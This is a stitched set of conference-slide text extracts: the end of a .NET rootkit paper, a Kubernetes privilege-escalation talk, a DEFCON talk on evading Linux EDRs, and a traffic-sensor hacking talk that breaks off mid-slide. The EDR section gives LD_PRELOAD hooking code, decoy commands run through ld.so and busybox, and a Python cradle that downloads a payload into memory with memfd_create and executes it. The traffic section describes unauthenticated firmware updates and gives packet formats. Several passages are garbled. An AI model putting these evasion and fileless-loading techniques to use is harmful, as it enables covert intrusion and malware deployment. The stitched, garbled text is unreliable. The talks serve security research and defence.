machine, there’s not much you can do about that – in case the attacker had already "rooted" your machine. You can use external file tampering detectors, such as tripwire, in a scenario where you have another machine that monitors your machine. Microsoft, as the developer of the Framework, should give the .NET Framework a kernel level modification protection. Microsoft response team assigned the GAC protection bypass case the track number of "MSRC 8566gs", but even if the GAC bypass will be fixed it'll surely be possible to mount the attacks described in this paper in some other way, since an attacker who has administrator level privileges on a machine can do everything anyway. An to the brighter side of the story… although this concept can be used maliciously, it can still be used positively to make custom “MOD” frameworks for topics such as performance, bug fixing, and more ☺ About Erez Metula ([email protected]) is a senior application security consultant & trainer, working as the application security department manager at 2BSecure. .NET Framework Rootkits – Backdoors Inside Your Framework 31 References [1] Common Language Runtime (CLR), Microsoft http://msdn.microsoft.com/en-us/library/8bs2ecf4(VS.80).aspx [2] Common Language Infrastructure (CLI), Standard ECMA-335 http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf [3].NET reverse engineering, Erez Metula http://download.microsoft.com/download/7/7/b/77b7a327-8b92-4356-bb18- bc01e09abef3/m5p.pdf [4] FileMon, Mark Russinovich and Bryce Cogswell http://technet.microsoft.com/en-us/sysinternals/bb896642.aspx [5] .NET Reflector, Lutz Roeder http://www.red-gate.com/products/reflector/ [6] NGen Revs Up Your Performance with Powerful New Features, Microsoft http://msdn.microsoft.com/en-us/magazine/cc163808.aspx [7] drop-and-pop, ha.cked,net http://ha.cked.net/dropandpop.zip [8] .NET-Sploit, Erez Metula http://www.applicationsecurity.co.il/.NET-Framework-Rootkits.aspx [9] Metasploit project, H D Moore www.metasploit.com/
pdf
Kubernetes Privilege Escalation: Container Escape == Cluster Admin? Yuval Avrahami & Shaul Ben Hai, Palo Alto Networks #BHUSA  @BlackHatEvents whoami ● Cloud security researchers @PANW ● Vulnerability research in the cloud ○ Azurescape ● Threat hunting in the cloud ○ Slioscape Kubernetes Privilege Escalation: Container Escape == Cluster Admin? Agenda ● Container Escapes ● Kubernetes 101 ● Malicious Node ● Attack Classes ● Escape == Admin? ● Recommendations & Takeaways Container Escapes Do containers contain? ● Containers are great for packaging & deploying software ● Weak security boundary ● Escapes will inevitably occur ○ Vulns in 2022 alone: DirtyPipe, containerd CVE-2022-23648, multiple kernel vulns @Google's kctf, cri-o CVE-2022-0811 ○ Misconfigurations: privileged containers, host mounts, etc ○ In-the-wild malware: Siloscape, TeamTNT ● What's the impact? Kernel Obvious Impact: Compromised Node 🔑 Container Escape == Cluster Admin? 🔑 Container Escape == Cluster Admin? (Feb) ● We looked into the most popular platforms ● In half, by default escape == admin Terminology ● Admin ● Admin-equivalent Few trivial steps Kubernetes 101 Kubernetes 101 ● Orchestrates pods (containers) on nodes (VMs) ● It's everywhere Kubernetes 101 - Authentication ● Certificates: users & nodes ● ServiceAccount tokens: pods Kubernetes 101 - Authorization (RBAC) ● Perms expressed <verb> <resource> ○ list secrets, create pods ● Perms grouped into Roles ● Bindings grant Roles ○ ns-scoped ○ cluster-wide Permission grant to Pod list services list pods Grants Role to identity Pod's SA token can list services & pods </101> Post Container Escape Credentials on a Rogue Node ● Kubelet credentials ○ Restricted: NodeAuthorizer & NodeRestriction ○ Node perms != admin ● Neighboring pods' service accounts ○ Permissions vary Node's interesting permissions are largely its pods' permissions! Trampoline Pods ● Powerful pods with enough permissions to bounce you around the cluster ○ Reach higher privileges ○ Jump to other nodes ○ Feel young again Know Your Nodes ● What pods run on your nodes? ○ Applications ○ Add-on (Prometheus, Istio) ○ System (kube-proxy, coredns) ● Permissions blind spot: system & add-on pods ○ Often as DaemonSets on all nodes DaemonSets VS Pods Trampolines Pods ○ Attacker might hit jackpot Trampoline DaemonSets ○ Attacker guaranteed to hit jackpot DaemonSets VS Pods Trampolines Pods ○ Attacker might hit jackpot Trampoline DaemonSets ○ Attacker guaranteed to hit jackpot Real impact on escape == admin Spotting Trampolines: What Makes a Pod Bouncy? Example Infra Pod ● list services ● delete pods ● create configmaps ● update nodes/status Is this pod powerful? Powerful Permissions? ● No public list ○ "Is this add-on asking for risky permissions?" ○ "Can I abuse this pod's perms for privEsc?" ● Seemingly restricted perms surprisingly powerful ● Define interesting attacks & classify perms Kubernetes Attack Classes ● Impersonate other identities / alter permissions Manipulate AuthN / AuthZ ● Impersonate other identities / alter permissions ● escalate roles Manipulate AuthN / AuthZ update roles escalate roles Pod's Role ● Impersonate other identities / alter permissions ● escalate roles Manipulate AuthN / AuthZ update roles escalate roles * * Pod's Role ● Impersonate other identities / alter permissions ● escalate roles Manipulate AuthN / AuthZ update roles escalate roles * * Pod's Role Acquire Tokens ● Retrieve or create SA tokens ● Impact: does namespace host powerful SAs? ○ kube-system ns Acquire Tokens ● list secrets Acquire Tokens ● list secrets Remote Code Execution ● Execute code on pods / nodes create nodes/proxy Remote Code Execution ● Execute code on pods / nodes create nodes/proxy ● Move pods from one node to another ○ Interesting business logic ○ Pods with powerful SAs! Steal Pods ● update nodes/status ● delete pods Steal Pods Steal Pods ● update nodes/status ● delete pods ● update nodes/status ● delete pods Steal Pods ● update nodes/status ● delete pods Steal Pods Powerful Permissions By Attack Class Manipulate AuthN \ AuthZ ● impersonate ● escalate ● bind ● approve signers ● update csr/approval ● control mutating webhooks Remote Code Execution ● create pods/exec ● update pods/ephemeralcontainers ● create nodes/proxy ● control pods ● control pod controllers ● control mutating webhooks Acquire Tokens ● list secrets ● create secrets ● create serviceaccounts/token ● create pods ● control pod controllers ● control validating webhooks ● control mutating webhooks Steal Pods ● modify nodes ● modify nodes/status ● create pods/eviction ● delete pods ● delete nodes ● modify pods/status ● modify pods Trampolines: ● Pods with permissions to: ○ Manipulate AuthN/AuthZ ○ Acquire Tokens ○ Remote Code Execution ○ Steal Pods ● Real shot at getting cluster admin Escape == Admin? Trampolines Across Popular Platforms Analyzed Platforms ● Focused on common infra components ● Managed K8s Services & K8s Distributions ○ AKS, EKS, GKE, OpenShift ● Container Network Interfaces (CNIs) ○ Antrea, Calico, Cilium, WeaveNet Trampoline DaemonSets (Feb 22) ● Most (62.5%) installed Trampoline DS by default! Container Escape == Cluster Admin? (Feb) ● In half the platforms escape == admin by default ○ (no panic pls) Attack on a Popular K8s Platform Cilium ● Cilium - popular Container Network Interface (CNI) ○ GKE Dataplane v2 ● Showcases a number of attack classes ● Released fixes! Cilium: Trampolines ● cilium DaemonSet ○ Can delete pods & update nodes/status (Steal Pods) ● cilium-operator Deployment ○ Can list secrets (Acquire Tokens) Cilium: Trampolines ● Compromised pod and escaped to node ● Goal: cluster admin Cilium: Trampolines 1. Zero other nodes' capacity & delete cilium-operator Cilium: Trampolines 1. Zero other nodes' capacity & delete cilium-operator Cilium: Trampolines 1. Zero other nodes' capacity & delete cilium-operator 2. Abuse operator to retrieve powerful built-in token Cilium: Trampolines 1. Zero other nodes' capacity & delete cilium-operator 2. Abuse operator to retrieve powerful built-in token CRAC SA can escalate roles Cilium: Trampolines 1. Zero other nodes' capacity & delete cilium-operator 2. Abuse operator to retrieve powerful built-in token 3. Add admin perms to CRAC's ClusterRole Demo! Cilium: Trampolines 1. Zero other nodes' pod capacity & delete cilium-operator 2. Abuse cilium-operator to retrieve powerful built-in token 3. Add admin perms to the ClusterRole binded to our token Steal Pods Manipulate AuthN/Authz Acquire Tokens Fixes by Affected Platforms Fixes ● Disclosed all findings ○ Great experience all around (: ● Most fixed! ○ Remove ○ Relocate ○ Restrain ● But countless other K8s add-ons & distribution out there Platform Had Trampoline DaemonSets Fixed AKS Yes No EKS Yes Yes, >=v1.18 GKE With Dataplane v2 Yes, >=1.23.4-gke.900, 13022$ Bounty OCP Yes Yes, >=v4.11 Antrea Yes Yes, v1.6.1 + an admission policy Calico No - Cilium Yes Yes, >=v1.12.0-rc2 Weave Net No - Identifying Risky Perms rbac-police ● New open-source tool ● Evaluate the RBAC perms of pods, SA & nodes ● ~20 policies out-of-the-box ○ Each targets risky perm / privEsc technique ○ Identify powerful pods & the attacks they enable ● Customizable! policies written in Rego (OPA) ○ CRDs? Platform specific attacks? PrivEsvs we missed? github.com/PaloAltoNetworks/rbac-police Policy & Severity Violating SAs and their Pods Checkov ● Open source Infra-as-Code (IaC) security scanner ● Alerts on risky perms before they're installed to cluster ○ Inspect add-ons prior to deployment github.com/bridgecrewio/checkov Takeaways Takeaways ● Trampolines introduce new privEsc avenues to K8s ○ Up to escape == admin ● K8s attack classes & powerful perms ● Tricky to safely configure RBAC ○ Seemingly restricted perms may allow privEsc ○ Not in checklists / benchmarks ● Good RBAC hygiene is key: ○ Regularly monitor RBAC (rbac-police / Checkov) ○ Minimize distribution of powerful tokens ○ Admission / audit policies to detect attacks! (see report) Questions? rbac-police Report
pdf
Practical Tips for Playing Hide and Seek with Linux EDRs DEFCON 27 @Op_Nomad Zombie Ant Farm ! ! ! ! $ who –m Dimitry Snezhkov • Technologist • Member of the X-Force Red Team ü hacking ü tools, research ü all things offensive @Op_Nomad github.com/dsnezhkov Linux Offense: The Context Linux matters • It runs 90% of cloud workloads. • Attacks bypass office networks and land directly in the backend. • Attacks follows maximum ROI (access to data or computing resources). • Linux Adversarial efforts may be focused and targeted. • Defense follows the attacker. Endpoint Detection and Response (EDR) solutions appear in Linux. • Operators have to respond Linux EDRs - A Case of a Mistaken Identity • Pure play EDR products • Heuristic engine in Antivirus • Security Automation toolkits • Deployment / Patch Management • Side gig for app whitelisting solutions • As features of DLP products • Home grown monitoring frameworks • Tool assisted Threat Hunting. “Who in the world am I? Ah, that's the great puzzle.” No, you are not… Have a good day. Blue I am in your Linux box… Operator has to address: • Initial foothold mechanism viability. Immediate detection. • Logging of activities, delayed interception and analysis. • Behavioral runtime patterns that trigger heuristics. • Persistent readiness for the long haul. • Evade Automation • Deflect tool assisted threat hunting • Proactive Supervision Context • Quiet boxes. Reliance on behavioral anomaly. • Locked down boxes. Reliance on known policy enforcement. • Peripheral sensors, honeypots. Linux Offense: Strategic Sketches Operational evasion: • Operationally shut down EDRs. • Directly exploit EDRs. • Blind EDR reporting and response. • Operationally confuse EDRs Targeted behavior evasion: • Target execution confusion. • Bypass EDR detection with novel ways of target exploitation • Deflect artifact discovery by Manual or Tool Assisted Threat hunting. Strategic Goals and Objectives, Distilled • Choice: Drop ready offensive tools on the target Ø May be outright detected. The unknown unknown. • Choice: Develop offensive tools on the target. Ø May not have tooling, footprint of presence, noise increases. • Choice: Utilization principle, aka “Living off the land” Ø May not be possible in the proactive supervision context. Strategic Goals and Objectives, Distilled • Need a viable path to building Linux malware in the face of EDRs: • Evade detection at target runtime. • Hide and serve payloads in an unpredictable ways to counter “the story”. Strategic Goals and Objectives, Distilled Assembled Attack: A blended approach to break the consistent story. Idea A: Bring in clean instrumented malware cradles. Build iterative capabilities. Idea B: Turn good binaries into instrumented malware cradles. Use them as decoys. Tactical Goals and Objectives, Sketches Stage I: Build out Offensive Primitives • Indiscriminate “preload and release” of legitimate binaries at runtime. • Preload library chaining, "split/scatter/assemble” of payload features. • Delayed payload triggers and features at runtime. • Rapid payload delivery mechanism prototypes with instrumented cradles. Tactical Goals and Objectives, Sketches Stage II: Weaponize and Operationalize Offensive Capabilities • Payload brokers, “Preload-as-a-service”. Inter-process and remote payload loading and hosting • Process mimicry and decoys • Library preloading in novel ways over memory. Stage I: Offensive Primitives • Basics of Offensive Dynamic Linking an Loading • Prototyping Offensive Mechanisms • Discussing Offensive Tradeoffs Linker wires up dynamic locations of needed libraries specified in the image. Dynamic Link Loading: The Basics ELF $ ./executable Error loading libctx.so The Basics of Dynamic Link Loading $ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable 107824: find library=libctx.so.1 [0]; searching 107824: Found file=./lib/libctx.so.1 “Hello World!” $ ldd executable libctx.so.1 => not found $ readelf -d executable 0x0000000000000001 (NEEDED) Shared library: [libctx.so.1] Execution Error: Dynamic dependency not found… Where is the dependency? Dependency is resolved! Dynamic ELF Hooking: The Basics Hook Redefine and reroute KNOWN function entry points Generic Dynamic API Hooking Tradeoffs We are are implementing an API detour to execute foreign logic. Challenges: • Need to know the details of target API FILE *fopen(const char *pathname, const char *mode); • Invoke and avoid detection. Opsec. Known signatures for known exploits. • Interoperate with the target binary in a clean fashion without crashing it. • Assumption inspection tooling availability on target. New ideas: Viability Check Tip: Be more agnostic to the specifics of any single API in the binary. Tip: Do not subvert the target. Instead: • Compel it to execute malicious code • Use it as a decoy. • If you can start a process you likely own the entire bootstrap of this process • Preload the payload generically into a known target and release for execution? • Expand malware features by bringing other modules out of band. • EDR sees the initial clean cradle, malware module loading is delayed. • EDR sees the code executing by approved system binaries in the process table, trusts the integrity of the known process. • EDR may not fully trace inter-process data handoff • preloaded malware calls on external data interchange • memory resident executables and shared libraries Parent / Child process relationships in Linux are transitive. We take advantage of this. • If you can start the parent process, you fully own its execution resources, and the resources of its progeny Offensive Strategy: Desired Outcomes Primitives for Working with Offensive Preloading What we Want 0x0 - ELF ABI Level : .INIT/.FINI/.PREINIT .INIT MAIN .FINI __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init; __attribute__((section(".fini_array"), used)) static typeof(fini) *fini_p = fini; __attribute__((section(".preinit_array"), used)) ... main()... ,.. 0x1 – C runtime level : __libc_start_main main_orig = main; typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main"); return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end); Is it optimal? 0x2 – Linker Level: Weakrefs ü Controlled Weak Refs ü Foreign Weak Refs ü Chained Weak Refs void debug() __attribute__((weak)); void debug(){ if (mstat) mstat(); } $ nm --dynamic /bin/ls | grep 'w ' w __cxa_finalize w __gmon_start__ void mstat(){ ; } Chain1.so Chain2.so void main(){ if (debug) debug(); } LD_PRELOAD=chain1.so:chain2.so ,)),,),),") • ,,), • .),)(,), • ),),)), • ,),) 0x3 - .CTOR/.DTOR __attribute__((constructor (P))) void before_main(void) __attribute__((constructor )); void after_main(void) __attribute__((destructor )); void before_main(void) __attribute__((constructor (101))); void after_main(void) __attribute__((destructor(65534))); 0x5 - Signals, Exceptions, Fault branching Let’s keep breaking the EDR "story" of execution that leads to a confirmed IoC ü Out of Band signals. ü Fault Branching ü Self-triggered fault recovery ü Exception Handlers ü Timed execution void fpe_handler(int signal, siginfo_t *w, void *a) { printf("In SIGFPE handler\n"); siglongjmp(fpe_env, w->si_code); } $LD_PRELOAD=lib/libinterrupt.so bin/ls Trigger SIGFPE handler In SIGFPE handler 1 / 0: caught division by zero! Executing payloads here ... • Rootkit style LD_PRELOAD cleanup (proc) • Obfuscation (compile time) • Runtime Encryption (memory) • Runtime situational checks • Better context mimicry • Access to EDRs to prove the exact primitives • No “main” no pain? • Alternative loaders 0x6 - Back to Basics: Protecting Payloads int _(void); void __data_frame_e() { int x = _(); exit(x); } int _() {} // Dynamic assignment to .interp section: const char my_interp[] __attribute__((section(".interp"))) = "/usr/local/bin/gelfload-ld-x86_64"; Expanding and Scaling the Evasion Capabilities We now have some evasion primitives to work with. Nice. Let’s expand the evasion. Highlights: • Target utilization. • Hiding from EDRs via existing trusted binary decoys. • Dynamic scripting capabilities in the field. • Progressive LD_PRELOAD command line evasion. • Malware preloaders with self-preservation instincts. Utilization: Out of the Box Decoys HOW MANY TIMES CAN YOUR PROCESS REGEX FAIL • System binaries that run other binaries. • Great decoys already exist on many Linux systems. • ld.so is a loader that can run executables directly as parameters. ld.so is always approved (known good) • busybox meta binary is handy. Combine the two to escape process pattern matching defensive engines? Bounce off something trusted and available to break the path of analysis 3,.3.,, $ LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts --regex '^main_.*$' ./bin/ 34,3 $ mkdir /tmp/shadowrun; ln -s /bin/ls /tmp/shadowrun/ls; LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts /tmp/shadowrun/ 2,331,33311 echo | LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox timeout 1000 /bin/ls ,3,3.2 ,23.2 $ LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 vi -ensX $(/bin/busybox mktemp) -c ':1,$d' -c ':silent !/bin/ls' -c ':wq' Utilization: Out of the Box Decoys (Cont.) Second Order Evasion Capabilities Interface with a higher level code for greater evasion. Rapid prototyping and development of modular malware. • speed of development • better upgrades • memory safety ü Offense to retool quickly on the target box. ü "evade into reflection”. Faced with dynamic code EDRs get lost in reflection tracing a call chain to a verified IoC. ü Extend malware into preloading code from dynamic languages with decent FFI 0x6A: Hiding Behind Reflective Mirrors package main import "C" import ( "fmt" ) var count int //export Entry func Entry(msg string) int { fmt.Println(msg) return count } func main() { // don’t care, or wild goose chase } go build -o shim.so -buildmode=c-shared shim.go DFIR: Reverse 2059 functions as a starting point ... 0x6B: Escape to Dynamic Code: Interpreters #include <lua.h> #include <lauxlib.h> #include <lualib.h> int main(int argc, char** argv) { lua_State *L; L = luaL_newstate(); luaL_openlibs(L); /* Load the Lua script */ if (luaL_loadfile(L, argv[1])) /* Run Lua script */ lua_pcall(L, 0, 0, 0) lua_close(L); } $LD_LIBRARY_PATH=. LD_PRELOAD=./liblua.so ./invoke_lua hello.lua Main() is nothing more than a preloaded constructor at this point • EDRs lose trail if you escape out to scripting • start loading other libraries at runtime. Pro-tip: Use it as another abstraction layer, e.g. socket out or pipe to another process hosting additional payloads Summary: Ain’t No Primitive Primitives. Stage II: Weaponizing and Operationalizing Payloads ü Uber preloaders ü Inline Parameterized Command Evasion. ü Memory-resident Malware Modules. ü Modular Malware Payload Warehouses ü Remote module loads ü Utilizable loaders Uber preloaders __attribute__((constructor)) static void _mctor(int argc, char **argv, char** envp) { // Save pointers to argv/argc/envp largv=argv; largc=argc; lenvp=envp; lenvp_start=envp; /* code here */ } • .. • . . $LD_PRELOAD=./lib/libctx.so.1 /bin/ls <preloader_arguments> Uber Preloaders $ LD_BG="false" LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so” LD_MODULE_ARGS="hello" \ LD_PRELOAD=./lib/libctx.so.1 /bin/ls Uber Preloaders // resolve Entry symbol int (*entry)(char *) = dlsym(handle, "Entry"); //pass arguments along if any if ( (modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){ modload_args = strdup(modload_args_t); modload_args_len = strlen(modload_args); } Chains may still • dlopen() a module or use weak references • Adhere to API contracts • Implement Process mimicry and decoys • Switch on IPC communication and data signaling • Clean out artifacts (a la rootkit) // Call FFI stack Memory-resident malware modules One small problem: those modules are files. • On disk. • Scannable and inspectable by EDRs. • And admins. Sometimes it’s OK (EDR identity crisis). We still want flexibility. The way to fix that is to load modules in memory. OS is happy execute them from memory. OS is not happy. Let’s make it happy. Memory-resident malware modules Several ways to operate files in shared memory in Linux: • tmpfs filesystem (via /dev/shm), if mounted; have to be root to mount others. • POSIX shared memory, memory mmap()'d files. o Some, you cannot obtain execution of code from. o Others, do not provide you fully memory based abstraction, leaving a file path visible for inspection. Kernel 3.17 Linux gained a system call memfd_create(2) (sys_356/319) Memory-resident malware modules shm_fd = memfd_create(s, MFD_ALLOW_SEALING); if (shm_fd < 0) { log_fatal("memfd_create() error"); } • 3 ,) 3( • 3()(3 3 readlink(3) 3 • 3)33 Uber preloader PID 56417, Meet your Volatile Memory LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so" LD_MODULE_ARGS="hello" LD_PRELOAD=./lib/libctx.so.1 /bin/ls LD_PCMD="r:smtp" LD_MODULE=“/proc/56417/fd/3" LD_MODULE_ARGS="hello" LD_PRELOAD=./lib/libctx.so.1 /bin/ls 56417 ! " What we have What we want Inspiration: A Natural phenomenon Weapons of Mass Infection ++ ZAF - Zombie Ant Farm • /.. • . ,// • //..//. • ,/.// ,., ZAF Module Loader and Payload Driver • Fetches remote payloads and stores them in memory. • Runs an in-memory list of available modules, opens payloads to all local preloaders. • Has OS evasion and self-preservation instincts. • Can mimic a specified process name. • At the request of an operator de-stages malware modules. LD_MODULE="/proc/56417/fd/3" LD_PRELOAD=./libctx.so.1 /bin/ls • Take payload from ZAF process memory space • Reference payload via Uber-Preloader, • Preload payload (or chain) into the target ZAF + Preloader Synergy 56417 1st order shim 2nd order shim 56417 - ZAF Memory space holding payloads ZAF Broker Operational Summary 1 3 2 Preloaded shims or subverted system exec Uber Preloader pipeline ZAF Payload Broker Service PyPreload: Operationalizing Dynamic Preload Cradles ..., ..... .., memfd_create() ctypes . os.write(getMemFd, urllib2.urlopen(url)) def getMemFd(seed): if ctypes.sizeof(ctypes.c_voidp) == 4: NR_memfd_create = 356 else: NR_memfd_create = 319 modMemFd = ctypes.CDLL(None).syscall(NR_memfd_create,seed,1) modMemPath = "/proc/" + str(os.getpid()) + "/fd/" + str(modMemFd) PyPreload: Cradle + (Decoy / Mimicry) + Memory $ pypreload.py -t so -l http://127.0.0.1:8080/libpayload.so -d bash -c /bin/ls Note: bash here is the decoy for the process name we use for the process table, we do not use any bash functionality. “Bash” just looks good for Threat hunters. 56417 pts/6 S+ 0:00 | | | \_ bash 56418 pts/6 S+ 0:00 | | | \_ /bin/ls bash . ls $ pypreload.py -t bin -l http://127.0.0.1:8080/zaf -d bash $ ls -l /proc/56509/fd/ lr-x------ 1 root root 64 Feb 17 18:08 0 -> /dev/null l-wx------ 1 root root 64 Feb 17 18:08 1 -> /dev/null lrwx------ 1 root root 64 Feb 17 18:08 2 -> /dev/null lrwx------ 1 root root 64 Feb 17 18:08 3 -> '/memfd:fa37Jn (deleted)' lrwx------ 1 root root 64 Feb 17 18:08 5 -> 'socket:[3479923]' 56880 18:26:52.395703 memfd_create("R6YP4OOR", MFD_CLOEXEC) = 3 56884 18:26:52.586221 readlink("/proc/self/exe", "/memfd:R6YP4OOR (deleted)", 4096) = 25 56886 18:26:52.632680 memfd_create("fa37Jn", MFD_CLOEXEC) = 4 Strace sees: File Descriptors of the preload cradle PyPreload: Cradle + (Decoy / Mimicry) + Memory + ZAF (,)(2- ), ZAF + Dynamic FileLess Loader Operational Summary 2 1 4 3 1. ASLR at-start weakening • Weaken targets via predictable memory addresses • Load to static address or an artificial code cave. Linux execution domains <sys/personality.h> ADDR_NO_RANDOMIZE (since Linux 2.6.12) Parent -> set personality -> Fork() -> UNRANDOMIZED process 2. Cross Memory Attach • Artificial Code Caves • IPC evasion (User to User space vs. User to Kernel to User space) process_vm_readv(), process_vm_writev() Additional Tips and Research Roadmap Additional Tips and Research Roadmap Additional Tips and Research Roadmap Offensive Summary ü Preloading is a viable path to evasion via system executables. ü Bring clean cradles to build on, or use executables on the target as decoys. ü Use assembled attack. Split/Scatter/Assemble techniques vs. EDRs. ü Out-of-process payload delivery is sometimes what you need. “Preloader-as-a-Service” over memory is possible. ü C FFI is the common denominator for interop on Linux, and can be used for evasion. ü Don’t kill a fly with a sword (even though you know you want to). But do turn chopsticks into swords when needed. ü Protect your payloads and payload delivery mechanisms. Code: https://github.com/dsnezhkov/zombieant What can the Defense do? • Start implementing Linux capabilities. • Define clearly what EDRs will and can do for you. • Use provided ideas for manual threat hunting. • Optics into /proc. • Optics into dynamic loading, memfd(). • Optics into IPC • Optics into process library load • Start thinking more about proactive contextual supervision. EOF SYN & ACK? Thank you! ! ! ! ! Useful Links (Thanks!) https://x-c3ll.github.io/posts/fileless-memfd_create/ https://0x00sec.org/t/super-stealthy-droppers/3715 https://github.com/lattera/glibc/blob/master/csu/gmon-start.c https://github.com/dvarrazzo/py-setproctitle/tree/master/src https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/ https://gist.github.com/apsun/1e144bf7639b22ff0097171fa0f8c6b1
pdf
IOActive, Inc. Copyright ©2014. All Rights Reserved. Hacking Traffic Control Systems (U.S, UK, Australia, France, etc.) Cesar Cerrudo @cesarcer CTO, IOActive Labs IOActive, Inc. Copyright ©2014. All Rights Reserved. About Me • Hacker, vulnerability researcher, created novel exploitation techniques, dozens of vulnerabilities found (Microsoft® Windows®, SQL Server®, Oracle®, etc.). • Developed, sold exploits, and 0day vulnerabilities (7-10 years ago) • CEO of software company • CTO at IOActive labs • Live in small city in third world country, far away from everything IOActive, Inc. Copyright ©2014. All Rights Reserved. Thanks • Barnaby Jack • Ruben Santamarta • Mike Davis • Mike Milvich • Susan Wheeler • Ian Amit • Robert Erbes IOActive, Inc. Copyright ©2014. All Rights Reserved. How all started • Found news that London was going to implement wireless devices for traffic detection – After some research found the devices vendor name – Vendor ended up being interesting target, widely deployed • +250 customers in 45 US States and 10 countries • 200,000+ Wireless sensors deployed worldwide, most of them on the US • Countries include US, United Kingdom, China, Canada, Australia, France, etc. – After reading available documentation I had strong feeling the devices were insecure IOActive, Inc. Copyright ©2014. All Rights Reserved. How It All Started • Getting the devices – Social engineered the vendor – Shipped them to Puerto Rico and traveled with them back and forth to the U.S. from Argentina several times with no problems IOActive, Inc. Copyright ©2014. All Rights Reserved. Devices: Wireless Sensors • Magnetometer, installs in a small hole • Rugged mechanical design, 10 year battery life • TI CC2430 RF transceiver IEEE 802.15.4 system-on-chip 2.4-GHz • TI MSP430 MCU (microcontroller) 16-bit RISC CPU , i386 Linux (probably TinyOS RTOS) IOActive, Inc. Copyright ©2014. All Rights Reserved. Devices: Wireless Sensors IOActive, Inc. Copyright ©2014. All Rights Reserved. Devices: Access Point • Processes, stores, and/or relays sensor data (uCLinux) • 66 MHz 5272 Coldfire processor, 4 MB flash memory, 16 MB DRAM • Contact closure to traffic controller, IP (fiber or cellular) to central servers, PoE • Supports as many sensors as necessary, Can serve as IP router for peripherals (video cams, etc.) IOActive, Inc. Copyright ©2014. All Rights Reserved. Devices: Repeaters • Battery powered unit • Supports up to 10 wireless sensors • Relays detection data back to access point, extending range – One channel for getting data and another channel for sending data IOActive, Inc. Copyright ©2014. All Rights Reserved. Devices: Radio ranges IOActive, Inc. Copyright ©2014. All Rights Reserved. How Devices Work IOActive, Inc. Copyright ©2014. All Rights Reserved. Software • Windows software to manage and configure access points, repeaters and sensors – Coded in Flash/ActionScript (Adobe Airl)  so  it’s  easily  to  decompile – It connects directly to AP and uses it to send commands to sensors and repeaters • Server software used to get all information from APs and then send them to Traffic control systems • …and  Cloud!  SaaS used to remotely access APs at any place in the world IOActive, Inc. Copyright ©2014. All Rights Reserved. Vulnerabilities • No encryption, all wireless communication in clear text • Vendor claims: “Security:  SNP radio transmissions never carry commands; only data is transmitted. Therefore, while RF communications may be subject to local interference, there is no opportunity to embed malicious instructions to  a  network  device  or  upstream  traffic  system.” “The option for encrypting the over the air information was removed early in the product's life cycle based on customer feedback. There was nothing broken on the system as we did not intend the over the air information to be protected.” IOActive, Inc. Copyright ©2014. All Rights Reserved. Vulnerabilities • No authentication – Sensors and repeaters can be accessed and manipulated over the air by anyone, including firmware updates – AP does not authenticate sensors, just blindly trusts wireless data • Firmware updates are neither encrypted nor signed – Anyone can modify the firmware and update it on sensors and repeaters • Vendor claims: “We  are  encrypting/signing  firmware  in  new  sensor  version”  (they  just   forgot  a  little  and  insignificant  detail…) “Security:  Proprietary  protocol  – hacker  safe” IOActive, Inc. Copyright ©2014. All Rights Reserved. Protocol • IEEE 802.15.4 PHY, used by ZigBee and other wireless systems – Data rate of 250 kbps, 16 frequency channels in the 2.4 GHz ISM band • Sensys NanoPower (SNP) protocol – On top of 802.15.4 PHY as Media Access Protocol (MAC) – The MAC layer is TDMA based and uses headers similar to IEEE 802.15.4 MAC layer. IOActive, Inc. Copyright ©2014. All Rights Reserved. Protocol • Sensors stay awake for a minimum amount of time and prevent any network packet collisions. • While sensors listen and transmit at specific time slot, access point can get and process sensor packets at any time • Sensors will transmit every 30 seconds if no detection (depends configuration) • Access point acknowledges reception; each sensor re- transmits data (4-5 times then sleeps) if unacknowledged IOActive, Inc. Copyright ©2014. All Rights Reserved. Protocol • Packet structure: 80 80 55 AA BB 55 55 55 55 55 55 [frame header (2 bytes)] + [sequence # (1 byte)] + [address (2 bytes)] + [data] • Frame header is used to specify the type of packet • Sequence # from sensor packets is used by AP to acknowledge them • Address is used to identify sensors by the AP and second byte  in  address  is  ”color  code”  used  by  sensors  to  identify   the AP IOActive, Inc. Copyright ©2014. All Rights Reserved. Protocol • Data can be 4 to 50 bytes long, first two bytes is data type – Sensor data: mode, version, battery level, detection (presence or not of traffic), etc. – AP data: commands, synchronization, sensor and repeater firmware updates, etc. IOActive, Inc. Copyright ©2014. All Rights Reserved. Protocol • Sample packets 80 41 69 CA B6 65 00 FF 7F -> sensor to AP, no detection event, count mode 80 41 67 CA B6 65 00 CE E7 -> sensor to AP, detection event, count mode 80 41 C0 CA B6 02 00 4C 00 03 00 03 BA 00 00 00 00 65 00 00 00 00 02 CA B6 FF 00 -> sensor to AP, sensor info 80 80 89 F0 FF 01 00 07 1E 40 07 C0 01 1A 00 00 00 00 00 00 40 40 20 01 00 ->AP to sensor IOActive, Inc. Copyright ©2014. All Rights Reserved. Protocol • Firmware file, ldrect proprietary format l0012AF10DADAAAE1E60C5A00006A0200301330136C19021B3013A461D0303013301342 l0088AF10DADAAA6FC60D5A00006A0200308930896C8F02913089A4D7D0A63089308937 l2012301330133013301330131C1700130012030003004C00FFFFFFFFFFFFFFFFFFFFDF l2088308930893089308930891C8D00890088030003004C00FFFFFFFFFFFFFFFFFFFFB9… • Firmware update packet 80 00 45 F0 F4 D2 00 00 12 AF 10 DA DA AA E1 E6 0C 5A 00 00 6A 02 00 30 13 30 13 6C 19 02 1B 30 13 A4 61 D0 30 30 13 30 13 – AP firmware broadcast, data part except first two bytes is a exact line from firmware file without the checksum byte IOActive, Inc. Copyright ©2014. All Rights Reserved. Tools • Hardware – TI CC2531 USB dongle for IEEE 802.15.4 sniffing – TI SmartRF05 evaluation board • Software – TI SmartRF Packet Sniffer IEEE 802.15.4 – TI SmartRF Studio 7 – IAR Embedded Workbench IDE IOActive, Inc. Copyright ©2014. All Rights Reserved. Attack Impact • 